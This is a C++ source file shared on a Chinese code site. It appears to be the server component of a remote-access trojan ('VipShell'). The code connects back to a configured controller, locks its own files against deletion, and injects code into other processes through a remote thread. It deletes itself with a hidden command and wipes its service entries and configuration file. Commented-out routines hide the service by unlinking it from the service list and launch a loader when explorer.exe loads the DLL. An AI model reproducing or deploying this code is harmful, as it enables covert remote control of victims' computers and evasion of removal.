main.cpp
来自「软件源代码,共享。有2个文件」· C++ 代码 · 共 967 行 · 第 1/2 页
CPP
967 行
//hServer.ConnectServer(hServerConfig->szUrl);
//hServer.ConnectServer(hServerConfig->szIp, _ttoi(hServerConfig->szIp_Port));
if( _ttoi(Conf_URLDNS) == 1 )//==1为URL方式上线
{
hServer.ConnectServer(Conf_Url);
dbglog("采用URL方式连接客户端");
}
if( _ttoi(Conf_URLDNS) == 2 )//==2为DNS方式上线
{
hServer.ConnectServer(Conf_Ip, _ttoi(Conf_Ip_Port));
dbglog("采用DNS方式连接客户端");
}
//srand((unsigned)time(NULL));
//Sleep((DWORD)rand() % 1500);
//锁定服务端DLL
char DllPath[MAX_PATH]={0};
GetModuleFileNameA(g_hinstDLL,DllPath,MAX_PATH);
DllLockHandle = OpenFile(DllPath,&ofstruct,OF_READ|OF_SHARE_EXCLUSIVE);
//锁定服务端EXE
char ExePath[MAX_PATH];//
GetModuleFileNameA(g_hinstDLL,DllPath,MAX_PATH);
strncpy(DllPath + strlen(DllPath) - 3,"",1);//去掉自身路径末尾的 dll
strcpy(ExePath,DllPath);
strcat(ExePath,"exe");
ExeLockHandle = OpenFile(ExePath,&ofstruct,OF_READ|OF_SHARE_EXCLUSIVE);
while(1)
{
dbglog("服务端正在运行,傀儡进程存活");
Sleep(300000);//5 min
}
WSACleanup();
}
//extern "C" __declspec(dllexport) bool HideService()
//{
// ////COpenDesktop hDesktop;
// ////COpenDesktop hDesktop1;
//
// //LPVIPSHELLCONFIG hServerConfig = (LPVIPSHELLCONFIG)lp;
//
// //srand((unsigned)time(NULL));
// //Sleep((DWORD)rand() % 3000);
//
// ////开始摘除服务链
// // int i;
// // for (i = 0x300000;i<0x5000000;i+=4){
// // //printf("%x\n",i);
// // __try{
// // if (0 == wcsicmp((const unsigned short *)i,hServerConfig->szServiceName)){
// // char temp [32];
// // sprintf(temp,"found service at: %x\n",i);
// // SearchDWORD(i,hServerConfig->szServiceName);
// // }
// // }
// // __except(EXCEPTION_EXECUTE_HANDLER ){
// // //printf("error\n");
// // i-=4;
// // i += 0x1000;
// // }
// // }
// ////摘除服务链
//
// return 0;
//}
//
//void SearchDWORD(int Addr,LPCTSTR HideServiceName)
//{
//int i;
//for (i = 0x300000;i<0x5000000;i+=4){
// //printf("%x\n",i);
// __try{
// if (Addr == *(ULONG*)i){
// char temp [32];
// sprintf(temp,"found the point at: %x\n",i);
//
// if (0 == wcsicmp((const unsigned short *)(*(ULONG*)(i+4)),HideServiceName)){
// //found the right one
// PFAKE_SERVICE_RECORD pRecord;
// pRecord = (PFAKE_SERVICE_RECORD)(i-8);
// *((DWORD*)pRecord->Prev+1) = (DWORD)(pRecord->Next);
// *((DWORD*)pRecord->Next) = (DWORD)(pRecord->Prev);
// }
// }
// }
// __except(EXCEPTION_EXECUTE_HANDLER ){
// //printf("error\n");
// i-=4;
// i += 0x1000;
//
// }
//}
//
//}
extern "C" __declspec(dllexport) bool GetDllModuleControl(CDllModuleControlInterface** p)
{
*p = (CDllModuleControlInterface*)&g_hDllModule;
dbglog("LoadLibrary成功,等待Loader启动主函数");
return true;
}
DWORD WINAPI HideMe(LPVOID lpParameter)
{
typedef BOOL (*PVipShellStartServer)(LPVOID lp);
PThreadParam a = (PThreadParam)lpParameter;
HINSTANCE hDll = NULL;
PVipShellStartServer pfnVipShellStartServer = NULL;
BOOL bFlag = FALSE;
hDll = a->pfnLoadLibraryA(a->szDllName);
if( !hDll ) return FALSE;
pfnVipShellStartServer = (PVipShellStartServer)a->pfnGetProcAddress(hDll, a->szFunctionName);
if( !pfnVipShellStartServer) return FALSE;
bFlag = pfnVipShellStartServer(/*&a->lp*/0);
a->pfnFreeLibrary(hDll);
return bFlag;
}
void InjectHideMeRemote(HANDLE hProcess,/*DWORD dwProcessId,*/ /*LPVIPSHELLCONFIG lp*/ LPCSTR szFnName)
{
ThreadParam tp;
HINSTANCE hKernel32 = NULL;
//DWORD dwPid;
DWORD dwFuncSize = 2048;
//dwPid = dwProcessId;
hKernel32 = GetModuleHandle( L"kernel32.dll" );
tp.pfnGetProcAddress = (PGetProcAddress)GetProcAddress(hKernel32, "GetProcAddress");
tp.pfnLoadLibraryA = (PLoadLibraryA)GetProcAddress(hKernel32, "LoadLibraryA");
tp.pfnFreeLibrary = (PFreeLibrary)GetProcAddress(hKernel32, "FreeLibrary");
strcpy(tp.szFunctionName, szFnName);
GetModuleFileNameA((HINSTANCE)g_hinstDLL, tp.szDllName, MAX_PATH);
//memcpy(&tp.lp, lp, sizeof(VIPSHELLCONFIG));
if(InjectRemote(hProcess, /*dwPid,*/ HideMe, dwFuncSize, &tp, sizeof(tp), /*1000*/INFINITE))
{
dbglog("开始创建远程线程");
}
else
{
dbglog("开始创建远程线程失败");
}
}
DWORD WINAPI RemoveServer(LPVOID lpParameter)//Remove
{
char ExePath[MAX_PATH];//
char DllPath[MAX_PATH];//
RemoveServiceByReg(Conf_ServiceName);
RemoveService(Conf_ServiceName);
RemoveServiceByReg(Conf_ServiceName);
RemoveService(Conf_ServiceName);
CloseHandle((HANDLE)ExeLockHandle);
CloseHandle((HANDLE)DllLockHandle);
CloseHandle((HANDLE)ExeLockHandle);
CloseHandle((HANDLE)DllLockHandle);
//GetSystemDirectory(EXEDir,MAX_PATH);
GetModuleFileNameA((HINSTANCE)g_hinstDLL, DllPath , MAX_PATH);
strncpy(DllPath + strlen(DllPath) - 3,"",1);//去掉自身路径末尾的 dll
strcpy(ExePath,DllPath);
strcat(ExePath,"exe");
DeleteFileA(ExePath);
DeleteFileA(ExePath);
//drvldr_stop("NTboot32");//尝试停止驱动
//Sleep(5);
//drvldr_dereg("NTboot32");//尝试删除驱动
//Sleep(5);
//DeleteFileA(EXEDir);
//DeleteFileA(SYSDir);
//RemoveDelayLoad();
//RemoveService(L"NTboot");
Sleep(1);
dbglog("卸载完成");
Sleep(1);
SelfDelete();
ExitProcess(0);//退出进程
return 0;
}
BOOL SelfDelete()
{
TCHAR szModule [MAX_PATH],
szComspec[MAX_PATH],
szParams [MAX_PATH];
// 得到文件路径:
if((GetModuleFileName((HINSTANCE)g_hinstDLL,szModule,MAX_PATH)!=0) &&
(GetShortPathName(szModule,szModule,MAX_PATH)!=0) &&
(GetEnvironmentVariable(L"COMSPEC",szComspec,MAX_PATH)!=0))
{
// 设置命令参数
lstrcpy(szParams,L" /c del ");
lstrcat(szParams,szModule);
lstrcat(szParams,L" > nul");
lstrcat(szComspec,szParams);
// 设置结构体成员
STARTUPINFO si={0};
PROCESS_INFORMATION pi={0};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
// 为程序分配资源
SetPriorityClass(GetCurrentProcess(),
REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread(),
THREAD_PRIORITY_TIME_CRITICAL);
// 调用命令
if(CreateProcess(0, szComspec, 0, 0, 0,CREATE_SUSPENDED|
DETACHED_PROCESS, 0, 0, &si, &pi))
{
// 暂停命令直到程序退出
SetPriorityClass(pi.hProcess,IDLE_PRIORITY_CLASS);
SetThreadPriority(pi.hThread,THREAD_PRIORITY_IDLE);
// 恢复命令并设置低优先权
ResumeThread(pi.hThread);
return TRUE;
}
else // 如果出错,格式化分配的空间
{
SetPriorityClass(GetCurrentProcess(),
NORMAL_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread(),
THREAD_PRIORITY_NORMAL);
}
}
return FALSE;
return 0;
}
//void RemoveDelayLoad(void)
//{
// RegDeleteKey(HKEY_CLASSES_ROOT,L"CLSID\\{bfbc1a78-cddd-1672-876e-324d6c4686e9}");
// RegDeleteKey(HKEY_LOCAL_MACHINE,L"SOFTWARE\\Classes\\CLSID\\{bfbc1a78-cddd-1672-876e-324d6c4686e9}");
// //RegDeleteKey(HKEY_LOCAL_MACHINE,L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\\{bfbc1a78-cddd-1672-876e-324d6c4686e9}");
// if(RegDeleteKey(HKEY_LOCAL_MACHINE,L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad"))
// {
// dbglog("删除注册表键值成功");
// }
// else
// {
// dbglog("注册表键值已经清除");
// }
//}
//
//void RemoveRunKey(void)
//{
// RegDeleteKey(HKEY_LOCAL_MACHINE,L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer\\Run");
//}
void RemoveServiceByReg(LPCTSTR ServiceName)
{
WCHAR regkeyEnum[512]={0};
WCHAR regkeySecurity[512]={0};
WCHAR regkey[512]={0};
lstrcat(regkeyEnum,L"System\\CurrentControlSet\\Services\\");
lstrcat(regkeyEnum,ServiceName);
lstrcat(regkeyEnum,L"\\Enum");
RegDeleteKey(HKEY_LOCAL_MACHINE, regkeyEnum);
lstrcat(regkeySecurity,L"System\\CurrentControlSet\\Services\\");
lstrcat(regkeySecurity,ServiceName);
lstrcat(regkeySecurity,L"\\Security");
RegDeleteKey(HKEY_LOCAL_MACHINE, regkeySecurity);
lstrcat(regkey,L"System\\CurrentControlSet\\Services\\");
lstrcat(regkey,ServiceName);
RegDeleteKey(HKEY_LOCAL_MACHINE, regkey);
return;
}
void RemoveService(LPCTSTR ServiceName)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
SERVICE_STATUS RemoveServiceStatus;
schSCManager=OpenSCManager(0,NULL,SC_MANAGER_ALL_ACCESS);
schService=OpenService(schSCManager,ServiceName,SERVICE_ALL_ACCESS);
if(schService==NULL)
{
CloseServiceHandle(schSCManager);
}
else
{
//printf("Stopping Service .... ");
if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
{
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
//printf("already Stopped !\n");
}
else
{
//printf("Pending ... ");
if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
{
while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)
{
Sleep(10);
QueryServiceStatus(schService,&RemoveServiceStatus);
}
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
//printf("Success !\n");
}
else
{
//printf("Failure !\n");
}
}
else
{
//printf("Failure !\n");
}
}
}
else
{
//printf("Query Failure !\n");
}
//printf("Removing Service .... ");
if(DeleteService(schService)==0)
{
//printf("Failure !\n");
}
else
{
//printf("Success !\n");
}
}
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return ;
}
BOOL APIENTRY DllMain(HINSTANCE hinstDLL, HANDLE hModule,
LPVOID lpReserved
)
{
/*
//////////////////////////////检测到DLL被explorer加载,则启动主程序
TCHAR szLoader[MAX_PATH];
GetModuleFileName(NULL, szLoader, MAX_PATH);
_tcslwr(szLoader);
if (_tcsstr(szLoader, _T("explorer.exe")))
{
dbglog("DLL 当前被 explorer.exe加载");
HANDLE hMap=CreateFileMappingA((HANDLE)0xFFFFFFFF, NULL,PAGE_READWRITE, 0, 128,"_B_y_s_h_e_l_l_1_0_9_");
if(hMap==NULL)//如果创建失败
{
dbglog("创建互斥量对象失败");
return FALSE; //退出此程序
}
//如果已经存在这个同名对象, 说明已有需要互斥的其他程序运行了
else if(GetLastError()==ERROR_ALREADY_EXISTS)
{ LPVOID lpMem=MapViewOfFile(hMap, FILE_MAP_WRITE, 0,0,0);
UnmapViewOfFile(lpMem); //解除映射图
CloseHandle(hMap); //关闭此对象
return FALSE;//退出此程序
}
else //经过上面的检查, 说明这是第一个运行的互斥程序
{ LPVOID lpMem=MapViewOfFile(hMap, FILE_MAP_WRITE, 0,0,0);
UnmapViewOfFile(lpMem); //解除映射图
}
char szNTbootPath[MAX_PATH];
GetSystemDirectoryA(szNTbootPath,MAX_PATH);
strcat(szNTbootPath,"\\NTboot.exe");
if(WinExec(szNTbootPath,SW_HIDE))
{
dbglog("启动 Loader 成功");
}
else
{
dbglog("启动 Loader 失败");
}
}
//////////////////////////////
*/
g_hinstDLL = hinstDLL;
return TRUE;
}
bool GetMyConfig(BOOL DelConfiger)
{
WCHAR DllPath[MAX_PATH]={0};
WCHAR szConfPath[MAX_PATH]={0};
GetModuleFileName((HINSTANCE)g_hinstDLL, DllPath , MAX_PATH);
wcsncpy(DllPath + lstrlen(DllPath) - 3,L"",1);//去掉自身路径末尾的 dll
lstrcpy(szConfPath,DllPath);
lstrcat(szConfPath,L"dat");
GetPrivateProfileString(L"Config",L"Url",NULL,Conf_Url,sizeof(Conf_Url),szConfPath);
GetPrivateProfileString(L"Config",L"Explain",NULL,Conf_Explain,sizeof(Conf_Explain),szConfPath);
GetPrivateProfileString(L"Config",L"Ip",NULL,Conf_Ip,sizeof(Conf_Ip),szConfPath);
GetPrivateProfileString(L"Config",L"Ip_Port",NULL,Conf_Ip_Port,sizeof(Conf_Ip_Port),szConfPath);
GetPrivateProfileString(L"Config",L"FileName",NULL,Conf_FileName,sizeof(Conf_FileName),szConfPath);
GetPrivateProfileString(L"Config",L"ServiceName",NULL,Conf_ServiceName,sizeof(Conf_ServiceName),szConfPath);
GetPrivateProfileString(L"Config",L"DisplayName",NULL,Conf_DisplayName,sizeof(Conf_DisplayName),szConfPath);
GetPrivateProfileString(L"Config",L"Description",NULL,Conf_Description,sizeof(Conf_Description),szConfPath);
GetPrivateProfileString(L"Config",L"URLDNS",NULL,Conf_URLDNS,sizeof(Conf_URLDNS),szConfPath);
GetPrivateProfileString(L"Config",L"Inject",NULL,Conf_Inject,sizeof(Conf_Inject),szConfPath);
if(DelConfiger)
{
DeleteFile(szConfPath);
}
else
{
return 0;
}
return 0;
}
bool SetMyExplain(LPCTSTR Explain)
{
HKEY hKeyExplain;
WCHAR KeyExplain[512]={0};
lstrcpy(KeyExplain,L"SYSTEM\\CurrentControlSet\\Services\\");
lstrcat(KeyExplain,Conf_ServiceName);
RegOpenKeyEx(HKEY_LOCAL_MACHINE,KeyExplain,0,KEY_ALL_ACCESS,&hKeyExplain);
RegSetValueEx(hKeyExplain,L"Explain",0,REG_SZ,(const BYTE *)Explain,256);
RegCloseKey(hKeyExplain);
return 0;
}
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?